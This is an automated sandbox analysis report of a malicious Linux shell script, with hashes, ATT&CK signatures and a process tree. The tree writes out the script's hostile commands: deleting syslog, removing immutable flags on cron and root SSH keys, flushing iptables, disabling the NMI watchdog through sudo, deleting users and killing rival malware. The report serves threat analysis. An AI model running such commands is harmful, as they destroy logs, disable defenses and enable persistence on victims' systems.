a14be34769e1dda95da96a7f47b1c98037ba213d0442a2b2373e340197e43fd2

Analysis

max time kernel
150s
max time network
11s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
24/02/2025, 03:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

a14be34769e1dda95da96a7f47b1c98037ba213d0442a2b2373e340197e43fd2.sh
Size

35KB
MD5

60d7be121773a5904d6fd9d4861f29af
SHA1

c55d938b3fbc5faa659e20d65f8508fd71cb644c
SHA256

a14be34769e1dda95da96a7f47b1c98037ba213d0442a2b2373e340197e43fd2
SHA512

cff9a49a07b40c97f4e5e4a4b78cf25c5d65a7fb0c08ea052d7408918c25a54e70357c8230af01f2f20ac8de3ff63420a9ef67124c25c9f402e12558aab7badd
SSDEEP

768:b87mzQ5VFNcDAFLcIwgnoYq0xFBvgmuNyt0uz:bOVF+D6cIwgosPz

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Flushes firewall rules 1 TTPs 1 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

defense_evasion

Disable or Modify System Firewall

T1562.004

pid	Process
716	iptables

Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs

Abuse sudo or cached sudo credentials to execute code.

privilege_escalation defense_evasion

Sudo and Sudo Caching

T1548.003

pid	Process
721	sudo

Attempts to change immutable files 64 IoCs

Modifies inode attributes on the filesystem to allow changing of immutable files.

pid	Process
1654	xargs
1774	xargs
1979	xargs
2111	Process not Found
1499	xargs
1618	xargs
1700	sed
1717	xargs
1720	xargs
1848	xargs
1600	xargs
1786	xargs
1874	xargs
2084	xargs
1475	xargs
1521	xargs
1533	xargs
1959	xargs
1594	xargs
1630	xargs
1696	xargs
1714	xargs
1612	xargs
1726	xargs
1463	xargs
1690	xargs
1691	sed
1808	xargs
2014	xargs
1469	xargs
1894	xargs
2068	xargs
1477	grep
1764	xargs
1828	xargs
1838	xargs
1879	xargs
2073	xargs
2094	xargs
1484	xargs
1705	xargs
1818	xargs
1864	xargs
1984	xargs
1703	sed
1718	sed
1515	xargs
710	chattr
1853	xargs
1939	xargs
1479	grep
1606	xargs
1723	xargs
2039	xargs
1660	xargs
1721	sed
1924	xargs
2089	xargs
1702	xargs
1706	sed
1999	xargs
2024	xargs
1539	xargs
1672	xargs

Creates/modifies Cron job 1 TTPs 13 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.w1u6dr	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.9VftyP	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.IEYjNb	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.gR7Wqe	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.MlDXzq	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.f6KKYR	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.ou7Maf	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.k7oJmo	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.jMxNHP	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.eFagMf	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.nzV3BS	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.AOEjje	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.oBzNau	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 64 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	exim4
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill

Process Discovery 1 TTPs 64 IoCs

Adversaries may try to discover information about running processes.

discovery

Process Discovery

T1057

pid	Process
1485	ps
1975	ps
2015	ps
2064	ps
1809	ps
1895	ps
1960	ps
1995	ps
2005	ps
2069	ps
2074	ps
1459	ps
1770	ps
1829	ps
1849	ps
1854	ps
1880	ps
1930	ps
1940	ps
1900	ps
1955	ps
2049	ps
1480	ps
1844	ps
1860	ps
1885	ps
1905	ps
1935	ps
1980	ps
2040	ps
1478	ps
1819	ps
1839	ps
1875	ps
1920	ps
1990	ps
2044	ps
2059	ps
1535	ps
1950	ps
1476	ps
1824	ps
1834	ps
2054	ps
2095	ps
1495	ps
1814	ps
1970	ps
2080	ps
1910	ps
1915	ps
2035	ps
2090	ps
1465	ps
1890	ps
2102	ps
1471	ps
1985	ps
1490	ps
2107	Process not Found
2010	ps
1765	ps
1865	ps
1925	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/79/status	ps
File opened for reading	/proc/397/status	pkill
File opened for reading	/proc/1964/stat	ps
File opened for reading	/proc/9/cmdline	ps
File opened for reading	/proc/344/status	ps
File opened for reading	/proc/114/cmdline	ps
File opened for reading	/proc/19/stat	ps
File opened for reading	/proc/filesystems	ps
File opened for reading	/proc/225/stat	ps
File opened for reading	/proc/113/cmdline	ps
File opened for reading	/proc/699/cmdline	pkill
File opened for reading	/proc/372/status	ps
File opened for reading	/proc/397/status	ps
File opened for reading	/proc/225/cmdline	ps
File opened for reading	/proc/5/cmdline	ps
File opened for reading	/proc/22/status	ps
File opened for reading	/proc/371/stat	ps
File opened for reading	/proc/72/status	ps
File opened for reading	/proc/2/stat	ps
File opened for reading	/proc/77/stat	ps
File opened for reading	/proc/7/cmdline	ps
File opened for reading	/proc/104/status	ps
File opened for reading	/proc/71/status	ps
File opened for reading	/proc/13/status	ps
File opened for reading	/proc/70/status	ps
File opened for reading	/proc/704/status	ps
File opened for reading	/proc/22/stat	ps
File opened for reading	/proc/11/stat	ps
File opened for reading	/proc/397/stat	ps
File opened for reading	/proc/73/status	pkill
File opened for reading	/proc/11/status	pkill
File opened for reading	/proc/148/stat	ps
File opened for reading	/proc/73/status	ps
File opened for reading	/proc/37/cmdline	ps
File opened for reading	/proc/1/status	ps
File opened for reading	/proc/371/status	ps
File opened for reading	/proc/8/stat	ps
File opened for reading	/proc/self/stat	ps
File opened for reading	/proc/17/cmdline	ps
File opened for reading	/proc/22/cmdline	pkill
File opened for reading	/proc/104/status	ps
File opened for reading	/proc/13/stat	ps
File opened for reading	/proc/2/stat	ps
File opened for reading	/proc/8/cmdline	pkill
File opened for reading	/proc/filesystems	ps
File opened for reading	/proc/77/cmdline	ps
File opened for reading	/proc/6/stat	ps
File opened for reading	/proc/316/stat	ps
File opened for reading	/proc/113/cmdline	ps
File opened for reading	/proc/72/cmdline	ps
File opened for reading	/proc/698/stat	ps
File opened for reading	/proc/3/stat	ps
File opened for reading	/proc/self/stat	ps
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/79/status	pkill
File opened for reading	/proc/319/cmdline	pkill
File opened for reading	/proc/meminfo	ps
File opened for reading	/proc/73/status	ps
File opened for reading	/proc/stat	ps
File opened for reading	/proc/113/stat	ps
File opened for reading	/proc/11/status	ps
File opened for reading	/proc/21/cmdline	pkill
File opened for reading	/proc/225/cmdline	ps

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1415	ls
2007	grep
2037	grep

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/log_rot	a14be34769e1dda95da96a7f47b1c98037ba213d0442a2b2373e340197e43fd2.sh

/tmp/a14be34769e1dda95da96a7f47b1c98037ba213d0442a2b2373e340197e43fd2.sh
/tmp/a14be34769e1dda95da96a7f47b1c98037ba213d0442a2b2373e340197e43fd2.sh
1⤵
- Writes file to tmp directory
PID:701
- /bin/rm
  rm -rf /var/log/syslog
  2⤵
  PID:702
- /usr/bin/chattr
  chattr -iua /tmp/
  2⤵
  PID:705
- /usr/bin/chattr
  chattr -iua /var/tmp/
  2⤵
  - Attempts to change immutable files
  PID:710
- /usr/bin/chattr
  chattr -R -ia /var/spool/cron
  2⤵
  PID:712
- /usr/bin/chattr
  chattr -ia /etc/crontab
  2⤵
  PID:714
- /sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:716
- /usr/bin/sudo
  sudo sysctl "kernel.nmi_watchdog=0"
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:721
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    PID:730
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1tmOBn-0000Bm-Ta
      4⤵
      Reads CPU attributes
      PID:744
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    PID:733
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1tmOBn-0000Bp-TB
      4⤵
      PID:745
- - /sbin/sysctl
    sysctl "kernel.nmi_watchdog=0"
    3⤵
    PID:736
- /usr/sbin/userdel
  userdel akay
  2⤵
  PID:738
- /usr/sbin/userdel
  userdel vfinder
  2⤵
  PID:739
- /usr/bin/chattr
  chattr -iae /root/.ssh/
  2⤵
  PID:741
- /usr/bin/chattr
  chattr -iae /root/.ssh/authorized_keys
  2⤵
  PID:743
- /bin/rm
  rm -rf "/tmp/addres*"
  2⤵
  PID:746
- /bin/rm
  rm -rf "/tmp/walle*"
  2⤵
  PID:747
- /bin/rm
  rm -rf /tmp/keys
  2⤵
  PID:749
- /bin/ls
  ls -latrh /proc/1
  2⤵
  PID:751
- /bin/grep
  grep exe
  2⤵
  PID:752
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:756
- /bin/ls
  ls -latrh /proc/10
  2⤵
  PID:758
- /bin/grep
  grep exe
  2⤵
  PID:759
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:762
- /bin/grep
  grep exe
  2⤵
  PID:767
- /bin/ls
  ls -latrh /proc/104
  2⤵
  PID:766
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:769
- /bin/grep
  grep exe
  2⤵
  PID:772
- /bin/ls
  ls -latrh /proc/11
  2⤵
  PID:771
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:775
- /bin/grep
  grep exe
  2⤵
  PID:778
- /bin/ls
  ls -latrh /proc/113
  2⤵
  PID:777
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:780
- /bin/grep
  grep exe
  2⤵
  PID:783
- /bin/ls
  ls -latrh /proc/114
  2⤵
  PID:782
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:785
- /bin/grep
  grep exe
  2⤵
  PID:788
- /bin/ls
  ls -latrh /proc/12
  2⤵
  PID:787
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:790
- /bin/grep
  grep exe
  2⤵
  PID:793
- /bin/ls
  ls -latrh /proc/13
  2⤵
  PID:792
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:795
- /bin/grep
  grep exe
  2⤵
  PID:798
- /bin/ls
  ls -latrh /proc/14
  2⤵
  PID:797
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:800
- /bin/grep
  grep exe
  2⤵
  PID:803
- /bin/ls
  ls -latrh /proc/141
  2⤵
  PID:802
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:805
- /bin/grep
  grep exe
  2⤵
  PID:808
- /bin/ls
  ls -latrh /proc/148
  2⤵
  PID:807
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:810
- /bin/grep
  grep exe
  2⤵
  PID:813
- /bin/ls
  ls -latrh /proc/15
  2⤵
  PID:812
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:815
- /bin/grep
  grep exe
  2⤵
  PID:818
- /bin/ls
  ls -latrh /proc/16
  2⤵
  PID:817
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:820
- /bin/grep
  grep exe
  2⤵
  PID:823
- /bin/ls
  ls -latrh /proc/165
  2⤵
  PID:822
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:825
- /bin/grep
  grep exe
  2⤵
  PID:828
- /bin/ls
  ls -latrh /proc/17
  2⤵
  PID:827
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:830
- /bin/grep
  grep exe
  2⤵
  PID:833
- /bin/ls
  ls -latrh /proc/18
  2⤵
  PID:832
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:835
- /bin/grep
  grep exe
  2⤵
  PID:838
- /bin/ls
  ls -latrh /proc/19
  2⤵
  PID:837
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:840
- /bin/grep
  grep exe
  2⤵
  PID:843
- /bin/ls
  ls -latrh /proc/2
  2⤵
  PID:842
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:845
- /bin/grep
  grep exe
  2⤵
  PID:848
- /bin/ls
  ls -latrh /proc/20
  2⤵
  PID:847
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:850
- /bin/grep
  grep exe
  2⤵
  PID:853
- /bin/ls
  ls -latrh /proc/21
  2⤵
  PID:852
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:855
- /bin/grep
  grep exe
  2⤵
  PID:858
- /bin/ls
